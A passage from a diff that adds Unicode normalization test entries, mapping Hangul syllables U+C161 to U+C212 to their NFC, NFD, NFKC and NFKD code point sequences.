+{ source: [0xC161], NFC: [0xC161], NFD: [0x1109, 0x1167, 0x11B4], NFKC: [0xC161], NFKD: [0x1109, 0x1167, 0x11B4] },
+{ source: [0xC162], NFC: [0xC162], NFD: [0x1109, 0x1167, 0x11B5], NFKC: [0xC162], NFKD: [0x1109, 0x1167, 0x11B5] },
+{ source: [0xC163], NFC: [0xC163], NFD: [0x1109, 0x1167, 0x11B6], NFKC: [0xC163], NFKD: [0x1109, 0x1167, 0x11B6] },
+{ source: [0xC164], NFC: [0xC164], NFD: [0x1109, 0x1167, 0x11B7], NFKC: [0xC164], NFKD: [0x1109, 0x1167, 0x11B7] },
+{ source: [0xC165], NFC: [0xC165], NFD: [0x1109, 0x1167, 0x11B8], NFKC: [0xC165], NFKD: [0x1109, 0x1167, 0x11B8] },
+{ source: [0xC166], NFC: [0xC166], NFD: [0x1109, 0x1167, 0x11B9], NFKC: [0xC166], NFKD: [0x1109, 0x1167, 0x11B9] },
+{ source: [0xC167], NFC: [0xC167], NFD: [0x1109, 0x1167, 0x11BA], NFKC: [0xC167], NFKD: [0x1109, 0x1167, 0x11BA] },
+{ source: [0xC168], NFC: [0xC168], NFD: [0x1109, 0x1167, 0x11BB], NFKC: [0xC168], NFKD: [0x1109, 0x1167, 0x11BB] },
+{ source: [0xC169], NFC: [0xC169], NFD: [0x1109, 0x1167, 0x11BC], NFKC: [0xC169], NFKD: [0x1109, 0x1167, 0x11BC] },
+{ source: [0xC16A], NFC: [0xC16A], NFD: [0x1109, 0x1167, 0x11BD], NFKC: [0xC16A], NFKD: [0x1109, 0x1167, 0x11BD] },
+{ source: [0xC16B], NFC: [0xC16B], NFD: [0x1109, 0x1167, 0x11BE], NFKC: [0xC16B], NFKD: [0x1109, 0x1167, 0x11BE] },
+{ source: [0xC16C], NFC: [0xC16C], NFD: [0x1109, 0x1167, 0x11BF], NFKC: [0xC16C], NFKD: [0x1109, 0x1167, 0x11BF] },
+{ source: [0xC16D], NFC: [0xC16D], NFD: [0x1109, 0x1167, 0x11C0], NFKC: [0xC16D], NFKD: [0x1109, 0x1167, 0x11C0] },
+{ source: [0xC16E], NFC: [0xC16E], NFD: [0x1109, 0x1167, 0x11C1], NFKC: [0xC16E], NFKD: [0x1109, 0x1167, 0x11C1] },
+{ source: [0xC16F], NFC: [0xC16F], NFD: [0x1109, 0x1167, 0x11C2], NFKC: [0xC16F], NFKD: [0x1109, 0x1167, 0x11C2] },
+{ source: [0xC170], NFC: [0xC170], NFD: [0x1109, 0x1168], NFKC: [0xC170], NFKD: [0x1109, 0x1168] },
+{ source: [0xC171], NFC: [0xC171], NFD: [0x1109, 0x1168, 0x11A8], NFKC: [0xC171], NFKD: [0x1109, 0x1168, 0x11A8] },
+{ source: [0xC172], NFC: [0xC172], NFD: [0x1109, 0x1168, 0x11A9], NFKC: [0xC172], NFKD: [0x1109, 0x1168, 0x11A9] },
+{ source: [0xC173], NFC: [0xC173], NFD: [0x1109, 0x1168, 0x11AA], NFKC: [0xC173], NFKD: [0x1109, 0x1168, 0x11AA] },
+{ source: [0xC174], NFC: [0xC174], NFD: [0x1109, 0x1168, 0x11AB], NFKC: [0xC174], NFKD: [0x1109, 0x1168, 0x11AB] },
+{ source: [0xC175], NFC: [0xC175], NFD: [0x1109, 0x1168, 0x11AC], NFKC: [0xC175], NFKD: [0x1109, 0x1168, 0x11AC] },
+{ source: [0xC176], NFC: [0xC176], NFD: [0x1109, 0x1168, 0x11AD], NFKC: [0xC176], NFKD: [0x1109, 0x1168, 0x11AD] },
+{ source: [0xC177], NFC: [0xC177], NFD: [0x1109, 0x1168, 0x11AE], NFKC: [0xC177], NFKD: [0x1109, 0x1168, 0x11AE] },
+{ source: [0xC178], NFC: [0xC178], NFD: [0x1109, 0x1168, 0x11AF], NFKC: [0xC178], NFKD: [0x1109, 0x1168, 0x11AF] },
+{ source: [0xC179], NFC: [0xC179], NFD: [0x1109, 0x1168, 0x11B0], NFKC: [0xC179], NFKD: [0x1109, 0x1168, 0x11B0] },
+{ source: [0xC17A], NFC: [0xC17A], NFD: [0x1109, 0x1168, 0x11B1], NFKC: [0xC17A], NFKD: [0x1109, 0x1168, 0x11B1] },
+{ source: [0xC17B], NFC: [0xC17B], NFD: [0x1109, 0x1168, 0x11B2], NFKC: [0xC17B], NFKD: [0x1109, 0x1168, 0x11B2] },
+{ source: [0xC17C], NFC: [0xC17C], NFD: [0x1109, 0x1168, 0x11B3], NFKC: [0xC17C], NFKD: [0x1109, 0x1168, 0x11B3] },
+{ source: [0xC17D], NFC: [0xC17D], NFD: [0x1109, 0x1168, 0x11B4], NFKC: [0xC17D], NFKD: [0x1109, 0x1168, 0x11B4] },
+{ source: [0xC17E], NFC: [0xC17E], NFD: [0x1109, 0x1168, 0x11B5], NFKC: [0xC17E], NFKD: [0x1109, 0x1168, 0x11B5] },
+{ source: [0xC17F], NFC: [0xC17F], NFD: [0x1109, 0x1168, 0x11B6], NFKC: [0xC17F], NFKD: [0x1109, 0x1168, 0x11B6] },
+{ source: [0xC180], NFC: [0xC180], NFD: [0x1109, 0x1168, 0x11B7], NFKC: [0xC180], NFKD: [0x1109, 0x1168, 0x11B7] },
+{ source: [0xC181], NFC: [0xC181], NFD: [0x1109, 0x1168, 0x11B8], NFKC: [0xC181], NFKD: [0x1109, 0x1168, 0x11B8] },
+{ source: [0xC182], NFC: [0xC182], NFD: [0x1109, 0x1168, 0x11B9], NFKC: [0xC182], NFKD: [0x1109, 0x1168, 0x11B9] },
+{ source: [0xC183], NFC: [0xC183], NFD: [0x1109, 0x1168, 0x11BA], NFKC: [0xC183], NFKD: [0x1109, 0x1168, 0x11BA] },
+{ source: [0xC184], NFC: [0xC184], NFD: [0x1109, 0x1168, 0x11BB], NFKC: [0xC184], NFKD: [0x1109, 0x1168, 0x11BB] },
+{ source: [0xC185], NFC: [0xC185], NFD: [0x1109, 0x1168, 0x11BC], NFKC: [0xC185], NFKD: [0x1109, 0x1168, 0x11BC] },
+{ source: [0xC186], NFC: [0xC186], NFD: [0x1109, 0x1168, 0x11BD], NFKC: [0xC186], NFKD: [0x1109, 0x1168, 0x11BD] },
+{ source: [0xC187], NFC: [0xC187], NFD: [0x1109, 0x1168, 0x11BE], NFKC: [0xC187], NFKD: [0x1109, 0x1168, 0x11BE] },
+{ source: [0xC188], NFC: [0xC188], NFD: [0x1109, 0x1168, 0x11BF], NFKC: [0xC188], NFKD: [0x1109, 0x1168, 0x11BF] },
+{ source: [0xC189], NFC: [0xC189], NFD: [0x1109, 0x1168, 0x11C0], NFKC: [0xC189], NFKD: [0x1109, 0x1168, 0x11C0] },
+{ source: [0xC18A], NFC: [0xC18A], NFD: [0x1109, 0x1168, 0x11C1], NFKC: [0xC18A], NFKD: [0x1109, 0x1168, 0x11C1] },
+{ source: [0xC18B], NFC: [0xC18B], NFD: [0x1109, 0x1168, 0x11C2], NFKC: [0xC18B], NFKD: [0x1109, 0x1168, 0x11C2] },
+{ source: [0xC18C], NFC: [0xC18C], NFD: [0x1109, 0x1169], NFKC: [0xC18C], NFKD: [0x1109, 0x1169] },
+{ source: [0xC18D], NFC: [0xC18D], NFD: [0x1109, 0x1169, 0x11A8], NFKC: [0xC18D], NFKD: [0x1109, 0x1169, 0x11A8] },
+{ source: [0xC18E], NFC: [0xC18E], NFD: [0x1109, 0x1169, 0x11A9], NFKC: [0xC18E], NFKD: [0x1109, 0x1169, 0x11A9] },
+{ source: [0xC18F], NFC: [0xC18F], NFD: [0x1109, 0x1169, 0x11AA], NFKC: [0xC18F], NFKD: [0x1109, 0x1169, 0x11AA] },
+{ source: [0xC190], NFC: [0xC190], NFD: [0x1109, 0x1169, 0x11AB], NFKC: [0xC190], NFKD: [0x1109, 0x1169, 0x11AB] },
+{ source: [0xC191], NFC: [0xC191], NFD: [0x1109, 0x1169, 0x11AC], NFKC: [0xC191], NFKD: [0x1109, 0x1169, 0x11AC] },
+{ source: [0xC192], NFC: [0xC192], NFD: [0x1109, 0x1169, 0x11AD], NFKC: [0xC192], NFKD: [0x1109, 0x1169, 0x11AD] },
+{ source: [0xC193], NFC: [0xC193], NFD: [0x1109, 0x1169, 0x11AE], NFKC: [0xC193], NFKD: [0x1109, 0x1169, 0x11AE] },
+{ source: [0xC194], NFC: [0xC194], NFD: [0x1109, 0x1169, 0x11AF], NFKC: [0xC194], NFKD: [0x1109, 0x1169, 0x11AF] },
+{ source: [0xC195], NFC: [0xC195], NFD: [0x1109, 0x1169, 0x11B0], NFKC: [0xC195], NFKD: [0x1109, 0x1169, 0x11B0] },
+{ source: [0xC196], NFC: [0xC196], NFD: [0x1109, 0x1169, 0x11B1], NFKC: [0xC196], NFKD: [0x1109, 0x1169, 0x11B1] },
+{ source: [0xC197], NFC: [0xC197], NFD: [0x1109, 0x1169, 0x11B2], NFKC: [0xC197], NFKD: [0x1109, 0x1169, 0x11B2] },
+{ source: [0xC198], NFC: [0xC198], NFD: [0x1109, 0x1169, 0x11B3], NFKC: [0xC198], NFKD: [0x1109, 0x1169, 0x11B3] },
+{ source: [0xC199], NFC: [0xC199], NFD: [0x1109, 0x1169, 0x11B4], NFKC: [0xC199], NFKD: [0x1109, 0x1169, 0x11B4] },
+{ source: [0xC19A], NFC: [0xC19A], NFD: [0x1109, 0x1169, 0x11B5], NFKC: [0xC19A], NFKD: [0x1109, 0x1169, 0x11B5] },
+{ source: [0xC19B], NFC: [0xC19B], NFD: [0x1109, 0x1169, 0x11B6], NFKC: [0xC19B], NFKD: [0x1109, 0x1169, 0x11B6] },
+{ source: [0xC19C], NFC: [0xC19C], NFD: [0x1109, 0x1169, 0x11B7], NFKC: [0xC19C], NFKD: [0x1109, 0x1169, 0x11B7] },
+{ source: [0xC19D], NFC: [0xC19D], NFD: [0x1109, 0x1169, 0x11B8], NFKC: [0xC19D], NFKD: [0x1109, 0x1169, 0x11B8] },
+{ source: [0xC19E], NFC: [0xC19E], NFD: [0x1109, 0x1169, 0x11B9], NFKC: [0xC19E], NFKD: [0x1109, 0x1169, 0x11B9] },
+{ source: [0xC19F], NFC: [0xC19F], NFD: [0x1109, 0x1169, 0x11BA], NFKC: [0xC19F], NFKD: [0x1109, 0x1169, 0x11BA] },
+{ source: [0xC1A0], NFC: [0xC1A0], NFD: [0x1109, 0x1169, 0x11BB], NFKC: [0xC1A0], NFKD: [0x1109, 0x1169, 0x11BB] },
+{ source: [0xC1A1], NFC: [0xC1A1], NFD: [0x1109, 0x1169, 0x11BC], NFKC: [0xC1A1], NFKD: [0x1109, 0x1169, 0x11BC] },
+{ source: [0xC1A2], NFC: [0xC1A2], NFD: [0x1109, 0x1169, 0x11BD], NFKC: [0xC1A2], NFKD: [0x1109, 0x1169, 0x11BD] },
+{ source: [0xC1A3], NFC: [0xC1A3], NFD: [0x1109, 0x1169, 0x11BE], NFKC: [0xC1A3], NFKD: [0x1109, 0x1169, 0x11BE] },
+{ source: [0xC1A4], NFC: [0xC1A4], NFD: [0x1109, 0x1169, 0x11BF], NFKC: [0xC1A4], NFKD: [0x1109, 0x1169, 0x11BF] },
+{ source: [0xC1A5], NFC: [0xC1A5], NFD: [0x1109, 0x1169, 0x11C0], NFKC: [0xC1A5], NFKD: [0x1109, 0x1169, 0x11C0] },
+{ source: [0xC1A6], NFC: [0xC1A6], NFD: [0x1109, 0x1169, 0x11C1], NFKC: [0xC1A6], NFKD: [0x1109, 0x1169, 0x11C1] },
+{ source: [0xC1A7], NFC: [0xC1A7], NFD: [0x1109, 0x1169, 0x11C2], NFKC: [0xC1A7], NFKD: [0x1109, 0x1169, 0x11C2] },
+{ source: [0xC1A8], NFC: [0xC1A8], NFD: [0x1109, 0x116A], NFKC: [0xC1A8], NFKD: [0x1109, 0x116A] },
+{ source: [0xC1A9], NFC: [0xC1A9], NFD: [0x1109, 0x116A, 0x11A8], NFKC: [0xC1A9], NFKD: [0x1109, 0x116A, 0x11A8] },
+{ source: [0xC1AA], NFC: [0xC1AA], NFD: [0x1109, 0x116A, 0x11A9], NFKC: [0xC1AA], NFKD: [0x1109, 0x116A, 0x11A9] },
+{ source: [0xC1AB], NFC: [0xC1AB], NFD: [0x1109, 0x116A, 0x11AA], NFKC: [0xC1AB], NFKD: [0x1109, 0x116A, 0x11AA] },
+{ source: [0xC1AC], NFC: [0xC1AC], NFD: [0x1109, 0x116A, 0x11AB], NFKC: [0xC1AC], NFKD: [0x1109, 0x116A, 0x11AB] },
+{ source: [0xC1AD], NFC: [0xC1AD], NFD: [0x1109, 0x116A, 0x11AC], NFKC: [0xC1AD], NFKD: [0x1109, 0x116A, 0x11AC] },
+{ source: [0xC1AE], NFC: [0xC1AE], NFD: [0x1109, 0x116A, 0x11AD], NFKC: [0xC1AE], NFKD: [0x1109, 0x116A, 0x11AD] },
+{ source: [0xC1AF], NFC: [0xC1AF], NFD: [0x1109, 0x116A, 0x11AE], NFKC: [0xC1AF], NFKD: [0x1109, 0x116A, 0x11AE] },
+{ source: [0xC1B0], NFC: [0xC1B0], NFD: [0x1109, 0x116A, 0x11AF], NFKC: [0xC1B0], NFKD: [0x1109, 0x116A, 0x11AF] },
+{ source: [0xC1B1], NFC: [0xC1B1], NFD: [0x1109, 0x116A, 0x11B0], NFKC: [0xC1B1], NFKD: [0x1109, 0x116A, 0x11B0] },
+{ source: [0xC1B2], NFC: [0xC1B2], NFD: [0x1109, 0x116A, 0x11B1], NFKC: [0xC1B2], NFKD: [0x1109, 0x116A, 0x11B1] },
+{ source: [0xC1B3], NFC: [0xC1B3], NFD: [0x1109, 0x116A, 0x11B2], NFKC: [0xC1B3], NFKD: [0x1109, 0x116A, 0x11B2] },
+{ source: [0xC1B4], NFC: [0xC1B4], NFD: [0x1109, 0x116A, 0x11B3], NFKC: [0xC1B4], NFKD: [0x1109, 0x116A, 0x11B3] },
+{ source: [0xC1B5], NFC: [0xC1B5], NFD: [0x1109, 0x116A, 0x11B4], NFKC: [0xC1B5], NFKD: [0x1109, 0x116A, 0x11B4] },
+{ source: [0xC1B6], NFC: [0xC1B6], NFD: [0x1109, 0x116A, 0x11B5], NFKC: [0xC1B6], NFKD: [0x1109, 0x116A, 0x11B5] },
+{ source: [0xC1B7], NFC: [0xC1B7], NFD: [0x1109, 0x116A, 0x11B6], NFKC: [0xC1B7], NFKD: [0x1109, 0x116A, 0x11B6] },
+{ source: [0xC1B8], NFC: [0xC1B8], NFD: [0x1109, 0x116A, 0x11B7], NFKC: [0xC1B8], NFKD: [0x1109, 0x116A, 0x11B7] },
+{ source: [0xC1B9], NFC: [0xC1B9], NFD: [0x1109, 0x116A, 0x11B8], NFKC: [0xC1B9], NFKD: [0x1109, 0x116A, 0x11B8] },
+{ source: [0xC1BA], NFC: [0xC1BA], NFD: [0x1109, 0x116A, 0x11B9], NFKC: [0xC1BA], NFKD: [0x1109, 0x116A, 0x11B9] },
+{ source: [0xC1BB], NFC: [0xC1BB], NFD: [0x1109, 0x116A, 0x11BA], NFKC: [0xC1BB], NFKD: [0x1109, 0x116A, 0x11BA] },
+{ source: [0xC1BC], NFC: [0xC1BC], NFD: [0x1109, 0x116A, 0x11BB], NFKC: [0xC1BC], NFKD: [0x1109, 0x116A, 0x11BB] },
+{ source: [0xC1BD], NFC: [0xC1BD], NFD: [0x1109, 0x116A, 0x11BC], NFKC: [0xC1BD], NFKD: [0x1109, 0x116A, 0x11BC] },
+{ source: [0xC1BE], NFC: [0xC1BE], NFD: [0x1109, 0x116A, 0x11BD], NFKC: [0xC1BE], NFKD: [0x1109, 0x116A, 0x11BD] },
+{ source: [0xC1BF], NFC: [0xC1BF], NFD: [0x1109, 0x116A, 0x11BE], NFKC: [0xC1BF], NFKD: [0x1109, 0x116A, 0x11BE] },
+{ source: [0xC1C0], NFC: [0xC1C0], NFD: [0x1109, 0x116A, 0x11BF], NFKC: [0xC1C0], NFKD: [0x1109, 0x116A, 0x11BF] },
+{ source: [0xC1C1], NFC: [0xC1C1], NFD: [0x1109, 0x116A, 0x11C0], NFKC: [0xC1C1], NFKD: [0x1109, 0x116A, 0x11C0] },
+{ source: [0xC1C2], NFC: [0xC1C2], NFD: [0x1109, 0x116A, 0x11C1], NFKC: [0xC1C2], NFKD: [0x1109, 0x116A, 0x11C1] },
+{ source: [0xC1C3], NFC: [0xC1C3], NFD: [0x1109, 0x116A, 0x11C2], NFKC: [0xC1C3], NFKD: [0x1109, 0x116A, 0x11C2] },
+{ source: [0xC1C4], NFC: [0xC1C4], NFD: [0x1109, 0x116B], NFKC: [0xC1C4], NFKD: [0x1109, 0x116B] },
+{ source: [0xC1C5], NFC: [0xC1C5], NFD: [0x1109, 0x116B, 0x11A8], NFKC: [0xC1C5], NFKD: [0x1109, 0x116B, 0x11A8] },
+{ source: [0xC1C6], NFC: [0xC1C6], NFD: [0x1109, 0x116B, 0x11A9], NFKC: [0xC1C6], NFKD: [0x1109, 0x116B, 0x11A9] },
+{ source: [0xC1C7], NFC: [0xC1C7], NFD: [0x1109, 0x116B, 0x11AA], NFKC: [0xC1C7], NFKD: [0x1109, 0x116B, 0x11AA] },
+{ source: [0xC1C8], NFC: [0xC1C8], NFD: [0x1109, 0x116B, 0x11AB], NFKC: [0xC1C8], NFKD: [0x1109, 0x116B, 0x11AB] },
+{ source: [0xC1C9], NFC: [0xC1C9], NFD: [0x1109, 0x116B, 0x11AC], NFKC: [0xC1C9], NFKD: [0x1109, 0x116B, 0x11AC] },
+{ source: [0xC1CA], NFC: [0xC1CA], NFD: [0x1109, 0x116B, 0x11AD], NFKC: [0xC1CA], NFKD: [0x1109, 0x116B, 0x11AD] },
+{ source: [0xC1CB], NFC: [0xC1CB], NFD: [0x1109, 0x116B, 0x11AE], NFKC: [0xC1CB], NFKD: [0x1109, 0x116B, 0x11AE] },
+{ source: [0xC1CC], NFC: [0xC1CC], NFD: [0x1109, 0x116B, 0x11AF], NFKC: [0xC1CC], NFKD: [0x1109, 0x116B, 0x11AF] },
+{ source: [0xC1CD], NFC: [0xC1CD], NFD: [0x1109, 0x116B, 0x11B0], NFKC: [0xC1CD], NFKD: [0x1109, 0x116B, 0x11B0] },
+{ source: [0xC1CE], NFC: [0xC1CE], NFD: [0x1109, 0x116B, 0x11B1], NFKC: [0xC1CE], NFKD: [0x1109, 0x116B, 0x11B1] },
+{ source: [0xC1CF], NFC: [0xC1CF], NFD: [0x1109, 0x116B, 0x11B2], NFKC: [0xC1CF], NFKD: [0x1109, 0x116B, 0x11B2] },
+{ source: [0xC1D0], NFC: [0xC1D0], NFD: [0x1109, 0x116B, 0x11B3], NFKC: [0xC1D0], NFKD: [0x1109, 0x116B, 0x11B3] },
+{ source: [0xC1D1], NFC: [0xC1D1], NFD: [0x1109, 0x116B, 0x11B4], NFKC: [0xC1D1], NFKD: [0x1109, 0x116B, 0x11B4] },
+{ source: [0xC1D2], NFC: [0xC1D2], NFD: [0x1109, 0x116B, 0x11B5], NFKC: [0xC1D2], NFKD: [0x1109, 0x116B, 0x11B5] },
+{ source: [0xC1D3], NFC: [0xC1D3], NFD: [0x1109, 0x116B, 0x11B6], NFKC: [0xC1D3], NFKD: [0x1109, 0x116B, 0x11B6] },
+{ source: [0xC1D4], NFC: [0xC1D4], NFD: [0x1109, 0x116B, 0x11B7], NFKC: [0xC1D4], NFKD: [0x1109, 0x116B, 0x11B7] },
+{ source: [0xC1D5], NFC: [0xC1D5], NFD: [0x1109, 0x116B, 0x11B8], NFKC: [0xC1D5], NFKD: [0x1109, 0x116B, 0x11B8] },
+{ source: [0xC1D6], NFC: [0xC1D6], NFD: [0x1109, 0x116B, 0x11B9], NFKC: [0xC1D6], NFKD: [0x1109, 0x116B, 0x11B9] },
+{ source: [0xC1D7], NFC: [0xC1D7], NFD: [0x1109, 0x116B, 0x11BA], NFKC: [0xC1D7], NFKD: [0x1109, 0x116B, 0x11BA] },
+{ source: [0xC1D8], NFC: [0xC1D8], NFD: [0x1109, 0x116B, 0x11BB], NFKC: [0xC1D8], NFKD: [0x1109, 0x116B, 0x11BB] },
+{ source: [0xC1D9], NFC: [0xC1D9], NFD: [0x1109, 0x116B, 0x11BC], NFKC: [0xC1D9], NFKD: [0x1109, 0x116B, 0x11BC] },
+{ source: [0xC1DA], NFC: [0xC1DA], NFD: [0x1109, 0x116B, 0x11BD], NFKC: [0xC1DA], NFKD: [0x1109, 0x116B, 0x11BD] },
+{ source: [0xC1DB], NFC: [0xC1DB], NFD: [0x1109, 0x116B, 0x11BE], NFKC: [0xC1DB], NFKD: [0x1109, 0x116B, 0x11BE] },
+{ source: [0xC1DC], NFC: [0xC1DC], NFD: [0x1109, 0x116B, 0x11BF], NFKC: [0xC1DC], NFKD: [0x1109, 0x116B, 0x11BF] },
+{ source: [0xC1DD], NFC: [0xC1DD], NFD: [0x1109, 0x116B, 0x11C0], NFKC: [0xC1DD], NFKD: [0x1109, 0x116B, 0x11C0] },
+{ source: [0xC1DE], NFC: [0xC1DE], NFD: [0x1109, 0x116B, 0x11C1], NFKC: [0xC1DE], NFKD: [0x1109, 0x116B, 0x11C1] },
+{ source: [0xC1DF], NFC: [0xC1DF], NFD: [0x1109, 0x116B, 0x11C2], NFKC: [0xC1DF], NFKD: [0x1109, 0x116B, 0x11C2] },
+{ source: [0xC1E0], NFC: [0xC1E0], NFD: [0x1109, 0x116C], NFKC: [0xC1E0], NFKD: [0x1109, 0x116C] },
+{ source: [0xC1E1], NFC: [0xC1E1], NFD: [0x1109, 0x116C, 0x11A8], NFKC: [0xC1E1], NFKD: [0x1109, 0x116C, 0x11A8] },
+{ source: [0xC1E2], NFC: [0xC1E2], NFD: [0x1109, 0x116C, 0x11A9], NFKC: [0xC1E2], NFKD: [0x1109, 0x116C, 0x11A9] },
+{ source: [0xC1E3], NFC: [0xC1E3], NFD: [0x1109, 0x116C, 0x11AA], NFKC: [0xC1E3], NFKD: [0x1109, 0x116C, 0x11AA] },
+{ source: [0xC1E4], NFC: [0xC1E4], NFD: [0x1109, 0x116C, 0x11AB], NFKC: [0xC1E4], NFKD: [0x1109, 0x116C, 0x11AB] },
+{ source: [0xC1E5], NFC: [0xC1E5], NFD: [0x1109, 0x116C, 0x11AC], NFKC: [0xC1E5], NFKD: [0x1109, 0x116C, 0x11AC] },
+{ source: [0xC1E6], NFC: [0xC1E6], NFD: [0x1109, 0x116C, 0x11AD], NFKC: [0xC1E6], NFKD: [0x1109, 0x116C, 0x11AD] },
+{ source: [0xC1E7], NFC: [0xC1E7], NFD: [0x1109, 0x116C, 0x11AE], NFKC: [0xC1E7], NFKD: [0x1109, 0x116C, 0x11AE] },
+{ source: [0xC1E8], NFC: [0xC1E8], NFD: [0x1109, 0x116C, 0x11AF], NFKC: [0xC1E8], NFKD: [0x1109, 0x116C, 0x11AF] },
+{ source: [0xC1E9], NFC: [0xC1E9], NFD: [0x1109, 0x116C, 0x11B0], NFKC: [0xC1E9], NFKD: [0x1109, 0x116C, 0x11B0] },
+{ source: [0xC1EA], NFC: [0xC1EA], NFD: [0x1109, 0x116C, 0x11B1], NFKC: [0xC1EA], NFKD: [0x1109, 0x116C, 0x11B1] },
+{ source: [0xC1EB], NFC: [0xC1EB], NFD: [0x1109, 0x116C, 0x11B2], NFKC: [0xC1EB], NFKD: [0x1109, 0x116C, 0x11B2] },
+{ source: [0xC1EC], NFC: [0xC1EC], NFD: [0x1109, 0x116C, 0x11B3], NFKC: [0xC1EC], NFKD: [0x1109, 0x116C, 0x11B3] },
+{ source: [0xC1ED], NFC: [0xC1ED], NFD: [0x1109, 0x116C, 0x11B4], NFKC: [0xC1ED], NFKD: [0x1109, 0x116C, 0x11B4] },
+{ source: [0xC1EE], NFC: [0xC1EE], NFD: [0x1109, 0x116C, 0x11B5], NFKC: [0xC1EE], NFKD: [0x1109, 0x116C, 0x11B5] },
+{ source: [0xC1EF], NFC: [0xC1EF], NFD: [0x1109, 0x116C, 0x11B6], NFKC: [0xC1EF], NFKD: [0x1109, 0x116C, 0x11B6] },
+{ source: [0xC1F0], NFC: [0xC1F0], NFD: [0x1109, 0x116C, 0x11B7], NFKC: [0xC1F0], NFKD: [0x1109, 0x116C, 0x11B7] },
+{ source: [0xC1F1], NFC: [0xC1F1], NFD: [0x1109, 0x116C, 0x11B8], NFKC: [0xC1F1], NFKD: [0x1109, 0x116C, 0x11B8] },
+{ source: [0xC1F2], NFC: [0xC1F2], NFD: [0x1109, 0x116C, 0x11B9], NFKC: [0xC1F2], NFKD: [0x1109, 0x116C, 0x11B9] },
+{ source: [0xC1F3], NFC: [0xC1F3], NFD: [0x1109, 0x116C, 0x11BA], NFKC: [0xC1F3], NFKD: [0x1109, 0x116C, 0x11BA] },
+{ source: [0xC1F4], NFC: [0xC1F4], NFD: [0x1109, 0x116C, 0x11BB], NFKC: [0xC1F4], NFKD: [0x1109, 0x116C, 0x11BB] },
+{ source: [0xC1F5], NFC: [0xC1F5], NFD: [0x1109, 0x116C, 0x11BC], NFKC: [0xC1F5], NFKD: [0x1109, 0x116C, 0x11BC] },
+{ source: [0xC1F6], NFC: [0xC1F6], NFD: [0x1109, 0x116C, 0x11BD], NFKC: [0xC1F6], NFKD: [0x1109, 0x116C, 0x11BD] },
+{ source: [0xC1F7], NFC: [0xC1F7], NFD: [0x1109, 0x116C, 0x11BE], NFKC: [0xC1F7], NFKD: [0x1109, 0x116C, 0x11BE] },
+{ source: [0xC1F8], NFC: [0xC1F8], NFD: [0x1109, 0x116C, 0x11BF], NFKC: [0xC1F8], NFKD: [0x1109, 0x116C, 0x11BF] },
+{ source: [0xC1F9], NFC: [0xC1F9], NFD: [0x1109, 0x116C, 0x11C0], NFKC: [0xC1F9], NFKD: [0x1109, 0x116C, 0x11C0] },
+{ source: [0xC1FA], NFC: [0xC1FA], NFD: [0x1109, 0x116C, 0x11C1], NFKC: [0xC1FA], NFKD: [0x1109, 0x116C, 0x11C1] },
+{ source: [0xC1FB], NFC: [0xC1FB], NFD: [0x1109, 0x116C, 0x11C2], NFKC: [0xC1FB], NFKD: [0x1109, 0x116C, 0x11C2] },
+{ source: [0xC1FC], NFC: [0xC1FC], NFD: [0x1109, 0x116D], NFKC: [0xC1FC], NFKD: [0x1109, 0x116D] },
+{ source: [0xC1FD], NFC: [0xC1FD], NFD: [0x1109, 0x116D, 0x11A8], NFKC: [0xC1FD], NFKD: [0x1109, 0x116D, 0x11A8] },
+{ source: [0xC1FE], NFC: [0xC1FE], NFD: [0x1109, 0x116D, 0x11A9], NFKC: [0xC1FE], NFKD: [0x1109, 0x116D, 0x11A9] },
+{ source: [0xC1FF], NFC: [0xC1FF], NFD: [0x1109, 0x116D, 0x11AA], NFKC: [0xC1FF], NFKD: [0x1109, 0x116D, 0x11AA] },
+{ source: [0xC200], NFC: [0xC200], NFD: [0x1109, 0x116D, 0x11AB], NFKC: [0xC200], NFKD: [0x1109, 0x116D, 0x11AB] },
+{ source: [0xC201], NFC: [0xC201], NFD: [0x1109, 0x116D, 0x11AC], NFKC: [0xC201], NFKD: [0x1109, 0x116D, 0x11AC] },
+{ source: [0xC202], NFC: [0xC202], NFD: [0x1109, 0x116D, 0x11AD], NFKC: [0xC202], NFKD: [0x1109, 0x116D, 0x11AD] },
+{ source: [0xC203], NFC: [0xC203], NFD: [0x1109, 0x116D, 0x11AE], NFKC: [0xC203], NFKD: [0x1109, 0x116D, 0x11AE] },
+{ source: [0xC204], NFC: [0xC204], NFD: [0x1109, 0x116D, 0x11AF], NFKC: [0xC204], NFKD: [0x1109, 0x116D, 0x11AF] },
+{ source: [0xC205], NFC: [0xC205], NFD: [0x1109, 0x116D, 0x11B0], NFKC: [0xC205], NFKD: [0x1109, 0x116D, 0x11B0] },
+{ source: [0xC206], NFC: [0xC206], NFD: [0x1109, 0x116D, 0x11B1], NFKC: [0xC206], NFKD: [0x1109, 0x116D, 0x11B1] },
+{ source: [0xC207], NFC: [0xC207], NFD: [0x1109, 0x116D, 0x11B2], NFKC: [0xC207], NFKD: [0x1109, 0x116D, 0x11B2] },
+{ source: [0xC208], NFC: [0xC208], NFD: [0x1109, 0x116D, 0x11B3], NFKC: [0xC208], NFKD: [0x1109, 0x116D, 0x11B3] },
+{ source: [0xC209], NFC: [0xC209], NFD: [0x1109, 0x116D, 0x11B4], NFKC: [0xC209], NFKD: [0x1109, 0x116D, 0x11B4] },
+{ source: [0xC20A], NFC: [0xC20A], NFD: [0x1109, 0x116D, 0x11B5], NFKC: [0xC20A], NFKD: [0x1109, 0x116D, 0x11B5] },
+{ source: [0xC20B], NFC: [0xC20B], NFD: [0x1109, 0x116D, 0x11B6], NFKC: [0xC20B], NFKD: [0x1109, 0x116D, 0x11B6] },
+{ source: [0xC20C], NFC: [0xC20C], NFD: [0x1109, 0x116D, 0x11B7], NFKC: [0xC20C], NFKD: [0x1109, 0x116D, 0x11B7] },
+{ source: [0xC20D], NFC: [0xC20D], NFD: [0x1109, 0x116D, 0x11B8], NFKC: [0xC20D], NFKD: [0x1109, 0x116D, 0x11B8] },
+{ source: [0xC20E], NFC: [0xC20E], NFD: [0x1109, 0x116D, 0x11B9], NFKC: [0xC20E], NFKD: [0x1109, 0x116D, 0x11B9] },
+{ source: [0xC20F], NFC: [0xC20F], NFD: [0x1109, 0x116D, 0x11BA], NFKC: [0xC20F], NFKD: [0x1109, 0x116D, 0x11BA] },
+{ source: [0xC210], NFC: [0xC210], NFD: [0x1109, 0x116D, 0x11BB], NFKC: [0xC210], NFKD: [0x1109, 0x116D, 0x11BB] },
+{ source: [0xC211], NFC: [0xC211], NFD: [0x1109, 0x116D, 0x11BC], NFKC: [0xC211], NFKD: [0x1109, 0x116D, 0x11BC] },
+{ source: [0xC212], NFC: [0xC212], NFD: [0x1109, 0x116D, 0x11BD], NFKC: [0xC212], NFKD: [0x1109, 0x116D, 0x11BD] },
